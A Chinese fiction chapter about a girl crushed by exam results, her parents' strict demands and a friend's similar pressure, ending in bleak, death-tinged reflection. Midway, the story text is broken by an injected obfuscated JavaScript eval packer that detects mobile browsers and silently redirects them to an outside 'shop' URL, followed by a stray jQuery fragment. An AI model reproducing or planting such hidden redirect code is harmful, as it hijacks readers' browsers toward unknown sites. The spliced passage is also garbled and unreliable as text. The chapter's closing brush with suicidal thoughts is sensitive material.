十一月的早晨，城市总是笼罩在雾里。
雾从江面升起，漫过堤岸，爬上高楼，把一切都变得模糊不清。
公交车的车灯在雾里晕开一团团昏黄的光，像溺水者最后呼出的气泡。
我坐在靠窗的位置，看着窗外流动的灰白。
偶尔能看见几个早起晨练的老人，在雾里慢慢跑着，身影时隐时现，像幽灵。
今天要公布期中考试成绩。
我知道自己考得不好。
数学最后一道大题完全没思路，物理实验题漏写了一个步骤，英语作文写跑题了——题目是“我的梦想”，我写的是“我想成为一棵树”，监考老师收卷时看了我一眼，眼神很奇怪。
到学校时，雾还没散尽。
操场上有人在打篮球，球撞击地面的声音在雾里变得沉闷，一声，又一声，像心跳。
周扬在教室门口等人，他的眼镜片上蒙着一层水汽。
“紧张吗？”他随便问了我一句。
“有点。”
“我也是，昨晚我都没睡好。”
我们走到班级门口，墙上已经贴了成绩排名。
一群人围在那里，指指点点，议论纷纷。
我站在人群外围，等前面同学看完。
陈露在隔壁班门口站着，她看见我，挤出来，脸色不太好。
“你看了吗？”
“还没。”
“我年级退步了十名。”她小声说，声音有点抖，“我妈会杀了我的。”
我张了张嘴，想说点什么，但不知道该说什么。
最后只是拍了拍她的肩膀。
这个动作很笨拙，并且，我的手僵硬得像假肢。
人群渐渐散了，我走到展板前，从第一名开始找自己的名字。
第一名，周扬，总分698。
第二名，李文，总分692。
第三名……
第七名……
第十名……
第十五名，沈断夏，总分635。
我盯着那个数字看了很久，635。
“沈断夏？”
周老师站在教室门口，朝我招手，示意我跟她来。
我跟着她走进办公室，办公室里很暖和，空调开得很足，空气里有咖啡和纸张混合的味道。
周老师的办公桌上堆满了作业本和试卷，像一座小山。
小山旁边放着一个玻璃杯，里面泡着枸杞和菊花。
“坐吧。”她指了指对面的椅子。
我坐下，椅子是木头的，很硬。
周老师从一堆试卷里抽出我的语文试卷，摊开。
作文部分用红笔批注了很多，字迹工整清秀。
“这次你的语文还是全班最高分。”她说，“特别是作文，写得很好。”
“但是，”周老师话锋一转，“其他科成绩可不太理想。”
我没说话。
“李老师跟我谈过。”周老师的声音放轻了一些，“他说你最近状态不好，上课经常走神，是不是家里有什么事？还是学习压力太大了？”
窗外的雾还没散尽，透过玻璃看出去，世界是一片混沌的灰白，操场上的篮球声停了，整个校园安静得可怕。
“没有。”我说，“就是没考好。”
周老师看了我一会儿，她的眼睛很温和，眼角有细细的鱼尾纹。
我想起母亲的眼睛，也有这样的纹路，但更深，更密。
“沈断夏，”她忽然说，“你还记得你高一开学时写的愿望吗？”
我愣了一下。
“你在最后一句写：‘我希望三年后，我还是我。’”周老师笑了笑，“我当时就觉得，这个孩子很特别。”
我不记得了，一点印象都没有。
“不管遇到什么事，”周老师把试卷递还给我，“都要记得，分数很重要，但不是全部。”
我接过试卷，纸张很薄，能看见背面红色的批改痕迹。
“回去吧。”她说，“好好分析错题，下次努力。”
“谢谢老师。”
走出办公室时，雾开始散了，阳光勉强穿透云层，在地上投下模糊的光斑。
操场边的银杏树叶子全黄了，在雾里像一片片褪色的金箔。
整个上午，我都在避免和任何人对视。
老师的目光，同学的目光，像一根根针，扎在身上，不疼，但痒，让人坐立不安。
课间去厕所，听见隔间里有人在哭。
压抑的、断断续续的哭声，像受伤的小动物。
我站在洗手台前洗手，水很冷。镜子里的脸很苍白，眼下有淡淡的青色。
那边的人是谁？是陈露吗？还是别的什么人？
哭声停了。
隔间门打开，走出来的是隔壁班的女生，我不认识。
她眼睛红红的，看见我，立刻低下头，快步走了出去。
我关掉水龙头，水珠顺着手指往下滴，一滴，两滴。
午饭我没去吃，一个人坐在空荡荡的教室里，看着窗外。
雾完全散了，天空露出原本的颜色——一种灰蒙蒙的蓝，像洗过很多次的牛仔裤。
下午最后一节是班会，李老师站在讲台上，手里拿着成绩单。
“这次期中考试，有的同学进步很大，有的同学退步很明显。”他的声音很严肃，“我希望每个人都好好反思，为什么别人能进步，你却退步了？是学习方法有问题，还是态度有问题？”
教室很安静，安静的能听见笔掉在地上的声音，能听见有人清嗓子的声音，能听见自己的心跳声。
“高二是关键时期，一刻都不能松懈。”李老师继续说，“现在放松，将来后悔都来不及，你们不要以为考上大学就万事大吉了，现在的大学毕业生一抓一大把，没有好成绩，没有好大学，将来怎么在社会上立足？”
他说话的时候，目光扫过全班，当他的目光落在我身上时，停留了几秒钟。
那几秒钟很长，长得像一整个冬天。
放学时，陈露在楼梯口等我，她的眼睛还是红的。
“我妈打电话了。”她说，声音很哑，“让我今晚去上数学补习班，周末再加一节物理。”
“你以前不是周末上美术课吗？”
“停了。”她扯了扯嘴角，想笑，但没笑出来，“我妈说，高考又不考这些。”
我们并肩走下楼梯，夕阳把我们的影子拉得很长，投在墙壁上，扭曲变形。
“沈断夏，”她忽然问，“你有梦想吗？”
我想起英语作文里写的那句话：我想成为一棵树。
“没有。”我说。
“我也没有。”她踢了一颗石子，石子滚下台阶，发出清脆的响声，“或者说，我的梦想就是没有梦想，不用想将来要做什么，不用想考什么大学，不用想怎么让爸妈满意，就只是……活着。”
活着，这个词听起来很简单，但有时候又很难。
校门口，陈露的妈妈在等她。
那是个很瘦的女人，穿着得体的套装，头发梳得一丝不苟。
看见陈露，她的第一句话是：“成绩单呢？”
陈露从书包里拿出来，女人接过去，只看了一眼，眉头就皱了起来。
“怎么退步这么多？”声音尖利，像玻璃划过金属。
“我……”
“别找借口，今晚补习班加倍。”
她们走了，陈露回头看了我一眼，眼神空空的，像被掏走了什么。
我站在原地，看着她们的背影消失在人群里。
夕阳把我的影子拉得更长了，长得像一根绳子，一头拴着我的脚，一头拴着看不见的什么东西。
到家时，父亲已经回来了。
他坐在沙发上，面前摊着我的成绩单——班主任下午就把电子版发给了家长。
我放下书包，站在玄关，没动。
父亲抬起头。他的眼镜片反着光，我看不见他的眼睛。
“解释一下。”他说。
声音很平静，太平静了，像暴风雨前的海面。
“数学最后一道题不会，物理……”
“我不是问这个。”他打断我，“我问的是，为什么退步？”
为什么？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218417|197464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个问题有很多答案：因为我粗心，因为我状态不好，因为题目太难，因为我……
“我不够努力。”我说。
这是标准答案，是父亲想听的答案。
“知道就好。”他把成绩单扔在茶几上，纸张飘了一下，落在茶杯旁边，“从今天开始，手机上交，周末不许出门，每天学习到十二点。”
“还有，”他补充道，“我给你报了个补习班，周六全天，周日半天。”
我没说话，喉咙里像堵了什么东西，咽不下去，也吐不出来。
好累。
……
晚饭时，母亲做了我最爱吃的糖醋排骨。
但排骨很甜，甜得发腻，我吃了一块，就再也吃不下去了。
“多吃点。”母亲夹了一块大排骨到我碗里，“学习累，要补充营养。”
那块排骨的酱汁红得发亮。
吃完饭，我回到房间。
手机已经放在父亲的书桌上了，那个黑色的长方形，现在只是一块没有生命的塑料和金属。
书桌上堆着新的习题集：数学、物理、化学、英语。
每一本都很厚，封面鲜艳，印着“冲刺”“突破”“满分”这样的字眼。
我坐下，打开数学题。
第一题是解析几何。
圆锥曲线，椭圆，焦点，准线，字母和数字在纸上跳舞，跳一种我看不懂的舞。
窗外的天完全黑了，今晚没有星星。
九点钟，母亲端来一杯牛奶，她看见我还在做题。
“慢慢来，别着急。”她说。
“嗯。”
她站在我身后，看了很久。
“你爸爸……”她开口，又停住。
我等着。
等她说“他是为你好”，或者“你要理解他”。
但她什么也没说，只是轻轻叹了口气，随后出去了。
客厅里传来电视的声音，是新闻联播。
主播字正腔圆地播报着经济增长数据，就业率，科技成果。
我继续做题。笔尖在纸上沙沙作响，像春蚕吃桑叶。
十点半，父亲进来了。
他检查了我的进度，指出三道错题。
“这么简单的题都能错？”他哑着嗓子，声音里有压抑的怒气，“你到底有没有用心？”
我低着头，没说话。
“重做。”他把习题集推回来，“做不完不许睡觉。”
他出去了，门关上的声音很重，震得墙上的挂历晃了一下。
我看着那三道题。
它们躺在纸上，像三个嘲笑的脸。
雾又起来了，从窗户的缝隙渗进来，带着初冬的寒意。
我打开那个深蓝色的笔记本。
今天这页，我只写了一句话：
“雾散了，但有些东西更模糊了。”
写完，我合上本子。
没有放回抽屉，而是塞进了书架最里面，夹在两本从来不用的辅导书中间。
躺下时，我听见隔壁房间传来争吵声。
声音不大，但能听清。
“……你对她太严厉了……”
“……不严厉能行吗？现在竞争多激烈你不知道？”
“……可她只是个孩子……”
“……孩子才要抓紧！等长大了就晚了！”
声音渐渐低下去。
我闭上眼睛。黑暗像潮水一样涌上来。
我在黑暗里伸出手，摸到枕头底下。《海子的诗》还在。
我把它拿出来，抱在怀里，硬硬的书脊抵着胸口，有点疼，但让人清醒。
海子写：“春天，十个海子全部复活。”
现在是冬天。
冬天，多少个沈断夏正在死去？
这个念头很危险。
但我让它停留了一会儿，像让一片雪花落在手心，看着它慢慢融化，消失。
窗外的雾更浓了，整个世界都沉在乳白色的混沌里。
只剩下寂静。
像深海，又像坟墓。
像所有沉没的东西最终抵达的地方。